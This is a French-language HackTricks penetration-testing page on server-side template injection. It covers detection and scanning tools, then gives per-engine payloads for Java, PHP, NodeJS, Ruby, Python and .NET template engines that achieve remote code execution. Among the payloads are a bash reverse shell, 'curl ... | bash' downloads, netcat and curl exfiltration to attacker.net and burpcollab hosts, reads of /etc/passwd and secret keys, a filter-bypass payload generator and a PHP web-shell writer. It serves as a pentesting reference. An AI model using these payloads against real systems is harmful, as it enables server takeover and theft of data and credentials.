SSTI (Server Side Template Injection)

Reading time: 31 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu'est-ce que SSTI (Server-Side Template Injection)

L'injection de template cĂŽtĂ© serveur est une vulnĂ©rabilitĂ© qui se produit lorsqu'un attaquant peut injecter du code malveillant dans un template qui est exĂ©cutĂ© sur le serveur. Cette vulnĂ©rabilitĂ© peut ĂȘtre trouvĂ©e dans diverses technologies, y compris Jinja.

Jinja est un moteur de template populaire utilisé dans les applications web. Considérons un exemple qui démontre un extrait de code vulnérable utilisant Jinja :

python
output = template.render(name=request.args.get('name'))

Dans ce code vulnĂ©rable, le paramĂštre name de la requĂȘte de l'utilisateur est directement passĂ© dans le modĂšle en utilisant la fonction render. Cela peut potentiellement permettre Ă  un attaquant d'injecter du code malveillant dans le paramĂštre name, entraĂźnant une injection de modĂšle cĂŽtĂ© serveur.

Par exemple, un attaquant pourrait crĂ©er une requĂȘte avec une charge utile comme celle-ci :

http://vulnerable-website.com/?name={{bad-stuff-here}}

Le payload {{bad-stuff-here}} est injecté dans le paramÚtre name. Ce payload peut contenir des directives de template Jinja qui permettent à l'attaquant d'exécuter du code non autorisé ou de manipuler le moteur de template, pouvant potentiellement prendre le contrÎle du serveur.

Pour prĂ©venir les vulnĂ©rabilitĂ©s d'injection de template cĂŽtĂ© serveur, les dĂ©veloppeurs doivent s'assurer que les entrĂ©es utilisateur sont correctement assainies et validĂ©es avant d'ĂȘtre insĂ©rĂ©es dans les templates. La mise en Ɠuvre de la validation des entrĂ©es et l'utilisation de techniques d'Ă©chappement contextuelles peuvent aider Ă  attĂ©nuer le risque de cette vulnĂ©rabilitĂ©.

Détection

Pour détecter l'injection de template cÎté serveur (SSTI), au départ, fuzzer le template est une approche simple. Cela implique d'injecter une séquence de caractÚres spéciaux (${{<%[%'"}}%\) dans le template et d'analyser les différences dans la réponse du serveur aux données réguliÚres par rapport à ce payload spécial. Les indicateurs de vulnérabilité incluent :

  • Erreurs lancĂ©es, rĂ©vĂ©lant la vulnĂ©rabilitĂ© et potentiellement le moteur de template.
  • Absence du payload dans la rĂ©flexion, ou parties manquantes, impliquant que le serveur le traite diffĂ©remment des donnĂ©es rĂ©guliĂšres.
  • Contexte en texte brut : Distinguer de XSS en vĂ©rifiant si le serveur Ă©value les expressions de template (par exemple, {{7*7}}, ${7*7}).
  • Contexte de code : Confirmer la vulnĂ©rabilitĂ© en modifiant les paramĂštres d'entrĂ©e. Par exemple, changer greeting dans http://vulnerable-website.com/?greeting=data.username pour voir si la sortie du serveur est dynamique ou fixe, comme dans greeting=data.username}}hello retournant le nom d'utilisateur.

Phase d'identification

Identifier le moteur de template implique d'analyser les messages d'erreur ou de tester manuellement divers payloads spécifiques à un langage. Les payloads courants provoquant des erreurs incluent ${7/0}, {{7/0}}, et <%= 7/0 %>. Observer la réponse du serveur aux opérations mathématiques aide à identifier le moteur de template spécifique.

Identification par payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Outils

TInjA

un scanner SSTI + CSTI efficace qui utilise des polyglottes novateurs.

bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Table d'injection de modĂšles

une table interactive contenant les polyglottes d'injection de modÚles les plus efficaces ainsi que les réponses attendues des 44 moteurs de modÚles les plus importants.

Exploits

Générique

Dans cette liste de mots, vous pouvez trouver des variables définies dans les environnements de certains des moteurs mentionnés ci-dessous :

Java

Java - Injection de base

java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Récupérer les variables d'environnement du systÚme

java
${T(java.lang.System).getenv()}

Java - Récupérer /etc/passwd

java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Vous pouvez essayer vos charges utiles sur https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (hĂ©ritage)
  • ${7*'7'} Rien
  • ${foobar}
java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Contournement de la sandbox

⚠ ne fonctionne que sur les versions de Freemarker infĂ©rieures Ă  2.3.30

java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Plus d'informations

Velocity (Java)

java
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Plus d'informations

Thymeleaf

Dans Thymeleaf, un test courant pour les vulnĂ©rabilitĂ©s SSTI est l'expression ${7*7}, qui s'applique Ă©galement Ă  ce moteur de template. Pour une exĂ©cution de code Ă  distance potentielle, des expressions comme celles-ci peuvent ĂȘtre utilisĂ©es :

  • SpringEL :
java
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL :
java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf nécessite que ces expressions soient placées dans des attributs spécifiques. Cependant, l'inlining d'expressions est pris en charge pour d'autres emplacements de template, en utilisant une syntaxe comme [[...]] ou [(...)]. Ainsi, une simple charge utile de test SSTI pourrait ressembler à [[${7*7}]].

Cependant, la probabilitĂ© que cette charge utile fonctionne est gĂ©nĂ©ralement faible. La configuration par dĂ©faut de Thymeleaf ne prend pas en charge la gĂ©nĂ©ration dynamique de templates ; les templates doivent ĂȘtre prĂ©dĂ©finis. Les dĂ©veloppeurs devraient implĂ©menter leur propre TemplateResolver pour crĂ©er des templates Ă  partir de chaĂźnes Ă  la volĂ©e, ce qui est peu courant.

Thymeleaf propose Ă©galement le prĂ©traitement d'expressions, oĂč les expressions entourĂ©es de doubles underscores (__...__) sont prĂ©traitĂ©es. Cette fonctionnalitĂ© peut ĂȘtre utilisĂ©e dans la construction d'expressions, comme dĂ©montrĂ© dans la documentation de Thymeleaf :

java
#{selection.__${sel.code}__}

Exemple de vulnérabilité dans Thymeleaf

ConsidĂ©rez le code suivant, qui pourrait ĂȘtre susceptible d'exploitation :

xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Cela indique que si le moteur de template traite ces entrées de maniÚre incorrecte, cela pourrait conduire à une exécution de code à distance accédant à des URL comme :

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Plus d'informations

EL - Expression Language

Spring Framework (Java)

java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Contourner les filtres

Plusieurs expressions de variables peuvent ĂȘtre utilisĂ©es, si ${...} ne fonctionne pas, essayez #{...}, *{...}, @{...} ou ~{...}.

  • Lire /etc/passwd
java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script personnalisĂ© pour la gĂ©nĂ©ration de payloads
python
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Plus d'informations

Manipulation de la vue Spring (Java)

java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Ancienne version de Pebble ( < version 3.0.9):

java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nouvelle version de Pebble :

java
{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava est un projet open source développé par Hubspot, disponible à https://github.com/HubSpot/jinjava/

Jinjava - Exécution de commandes

Corrigé par https://github.com/HubSpot/jinjava/pull/230

java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Plus d'informations

Hubspot - HuBL (Java)

  • {% %} dĂ©limiteurs d'instructions
  • {{ }} dĂ©limiteurs d'expressions
  • {# #} dĂ©limiteurs de commentaires
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Recherchez "com.hubspot.content.hubl.context.TemplateContextRequest" et découvrez le projet Jinjava sur Github.

java
{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Plus d'informations

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique applicative (comme les managed beans) dans JavaEE. Elle est utilisée de maniÚre extensive à travers plusieurs technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent :

  • JavaServer Faces (JSF) : Utilise EL pour lier les composants dans les pages JSF aux donnĂ©es et actions backend correspondantes.
  • JavaServer Pages (JSP) : EL est utilisĂ© dans JSP pour accĂ©der et manipuler des donnĂ©es au sein des pages JSP, facilitant ainsi la connexion des Ă©lĂ©ments de page aux donnĂ©es de l'application.
  • Contexts and Dependency Injection for Java EE (CDI) : EL s'intĂšgre avec CDI pour permettre une interaction fluide entre la couche web et les managed beans, garantissant une structure d'application plus cohĂ©rente.

Consultez la page suivante pour en savoir plus sur l'exploitation des interprĂštes EL :

EL - Expression Language

Groovy (Java)

Les contournements du Security Manager suivants ont été tirés de ce writeup.

java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

Autre Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Plus d'informations

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Format de modĂšle

php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Plus d'informations

Plates (PHP)

Plates est un moteur de templating natif à PHP, s'inspirant de Twig. Cependant, contrairement à Twig, qui introduit une nouvelle syntaxe, Plates utilise du code PHP natif dans les templates, ce qui le rend intuitif pour les développeurs PHP.

Controller:

php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

ModĂšle de page :

php
<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

ModĂšle de mise en page :

html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Plus d'informations

PHPlib et HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB est identique à PHPlib mais porté sur Pear.

authors.tpl

html
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Plus d'informations

Autre PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Plus d'informations

patTemplate (PHP)

patTemplate moteur de templating PHP non compilant, qui utilise des balises XML pour diviser un document en différentes parties

xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Plus d'informations

Handlebars (NodeJS)

Traversal de chemin (plus d'infos ici).

bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Erreur
  • ${7*7} = ${7*7}
  • Rien
java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Plus d'informations

JsRender (NodeJS)

TemplateDescription
Évaluer et rendre la sortie
Évaluer et rendre la sortie HTML encodĂ©e
Commentaire
etAutoriser le code (désactivé par défaut)
  • = 49

CÎté client

python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

CÎté serveur

bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Plus d'informations

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Exemple de rendu cÎté serveur

javascript
var pugjs = require("pug")
home = pugjs.render(injected_page)

Plus d'informations

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Pas de sortie
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Erreur
javascript
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Plus d'informations

Autres NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Plus d'informations

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Plus d'informations

Autre Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Consultez la page suivante pour apprendre des astuces sur le contournement de l'exécution de commandes arbitraires dans les sandboxes en python :

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Erreur
  • {{7*'7'}} = 7777777
python
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Plus d'informations

Jinja2 (Python)

Site officiel

Jinja2 est un moteur de template complet pour Python. Il a un support unicode complet, un environnement d'exécution intégré en sandbox optionnel, largement utilisé et sous licence BSD.

  • {{7*7}} = Erreur
  • ${7*7} = ${7*7}
  • {{foobar}} Rien
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
python
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Format de modĂšle

python
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE non dépendant de __builtins__:

python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Plus de détails sur la façon d'abuser de Jinja :

Jinja2 SSTI

Autres charges utiles dans https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

python
<%
import os
x=os.popen('id').read()
%>
${x}

Plus d'informations

Autre Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= SuccĂšs
  • @() <= SuccĂšs
  • @("{{code}}") <= SuccĂšs
  • @ <=SuccĂšs
  • @{} <= ERREUR !
  • @{ <= ERREUR !
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
